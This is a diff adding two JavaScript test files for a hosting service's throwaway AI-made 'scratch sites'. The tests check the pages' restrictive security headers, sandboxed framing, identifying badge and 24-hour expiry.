+ const csp = String(answer.headers['content-security-policy'] || '');
+ const robots = String(answer.headers['x-robots-tag'] || '');
+
+ // The policy: no form may be submitted, the page may not be framed, it may not phone home.
+ assert.ok(csp.includes("form-action 'none'"), 'a form POST is blocked by the policy: ' + csp);
+ assert.ok(csp.includes("frame-ancestors 'none'"), 'the page may not be framed: ' + csp);
+ assert.ok(csp.includes("connect-src 'none'"), 'the page may not phone home: ' + csp);
+ assert.ok(robots.includes('noindex'), 'it is never indexed: ' + robots);
+
+ // The badge is there, and it is above the page's own markup, which lives inside a sandboxed frame.
+ assert.ok(body.includes('A throwaway page an AI made from a chat request'), 'the badge says what the page is');
+ assert.ok(body.includes('removed'), 'the badge says when the page goes');
+ assert.ok(body.includes('id="ov-scratch-badge"'), 'the badge is its own element');
+ assert.ok(body.includes('sandbox="allow-scripts"'), 'the page runs in a sandboxed frame');
+ assert.ok(!body.includes('allow-same-origin'), 'the frame is not the page\'s origin: the page cannot reach the badge');
+ const badgeAt = body.indexOf('ov-scratch-badge');
+ const frameAt = body.indexOf('<iframe');
+ assert.ok(badgeAt > 0 && badgeAt < frameAt, 'the badge is above the page, not inside it');
+ assert.ok(body.includes('<form'), 'the page\'s own markup is escaped inside the frame');
+
+ // A site that is not a scratch site is served as it is.
+ const plain = await h.sites.create(user, project, { name: 'ordinary-site' });
+ const pre2 = await h.deploys.precheck(user, plain.id);
+ await h.deploys.create(user, pre2, [{ path: 'index.html', data: Buffer.from('<h1>Ordinary</h1>') }], { source: 'files', activate: true });
+ const answer2 = await ask('ordinary-site.openvibe.website');
+ const body2 = answer2.body;
+ assert.ok(body2.includes('<h1>Ordinary</h1>'), 'an ordinary site is served as it is');
+ assert.ok(!body2.includes('ov-scratch-badge'), 'an ordinary site has no badge');
+
+ server.close();
+ console.log('scratch sites: a page an AI made collects nothing, and says what it is');
+ await db.close();
+ process.exit(0);
+})().catch((err) => { console.error(err); process.exit(1); });
new file mode 100644
new file mode 100644
@@ -0,0 +1,57 @@
@@ -0,0 +1,57 @@
+'use strict';
+/**
+ * Agent Streams S6 — the throwaway scratch sites (server/scratch-sites.js).
+ *
+ * A chat plays run leaves a scratch site behind. It is removed after 24 hours unless the owner keeps it,
+ * and the cleanup job removes the ones whose day is up.
+ */
+const assert = require('assert');
+const { testDb } = require('./helpers/db');
+const { createScratchSites, SCRATCH_TTL_MS } = require('../server/scratch-sites');
+
+(async () => {
+ const db = await testDb();
+ let now = 1_700_000_000_000;
+ const store = { db, now: () => now };
+ const scratch = createScratchSites({ store, config: {} });
+
+ await db.prepare("INSERT INTO space_projects (id, owner_subject, name, created_at, updated_at) VALUES (?, ?, ?, ?, ?)")
+ .run('prj_test', 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ', 'Test', now, now);
+ await db.prepare("INSERT INTO space_sites (id, project_id, name, status, created_by, created_at, updated_at) VALUES (?, ?, ?, 'active', ?, ?, ?)")
+ .run('site_test', 'prj_test', 'snake-4f2a', 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ', now, now);
+
+ // A site becomes a scratch site: it is removed after a day.
+ const marked = await scratch.mark('site_test');
+ assert.strictEqual(marked.ok, true);
+ assert.strictEqual(marked.expires_at - now, SCRATCH_TTL_MS);
+ let row = await db.prepare('SELECT * FROM space_sites WHERE id = ?').get('site_test');
+ assert.strictEqual(row.scratch, true);
+ assert.strictEqual(row.scratch_kept, false);
+
+ // The day is not up yet: nothing is removed.
+ now += 60_000;
+ assert.strictEqual(await scratch.removeExpired(), 0);
+ row = await db.prepare('SELECT * FROM space_sites WHERE id = ?').get('site_test');
+ assert.strictEqual(row.status, 'active');
+
+ // The day is up: the site goes.
+ now += SCRATCH_TTL_MS;
+ assert.strictEqual(await scratch.removeExpired(), 1);
+ row = await db.prepare('SELECT * FROM space_sites WHERE id = ?').get('site_test');
+ assert.strictEqual(row.status, 'deleted', 'the scratch site is removed after 24 hours');
+
+ // A kept site stays.
+ await db.prepare("INSERT INTO space_sites (id, project_id, name, status, created_by, created_at, updated_at) VALUES (?, ?, ?, 'active', ?, ?, ?)")
+ .run('site_kept', 'prj_test', 'snake-kept', 'usr_1', now, now);
+ await scratch.mark('site_kept');
+ await scratch.keep('site_kept');
+ now += SCRATCH_TTL_MS * 2;
+ assert.strictEqual(await scratch.removeExpired(), 0, 'a kept site is not removed');
+ row = await db.prepare('SELECT * FROM space_sites WHERE id = ?').get('site_kept');
+ assert.strictEqual(row.status, 'active');
+ assert.strictEqual(row.scratch_kept, true);
+
+ console.log('scratch sites: a throwaway site lives 24 hours unless the owner keeps it');
+ await db.close();
+ process.exit(0);
+})().catch((err) => { console.error(err); process.exit(1); });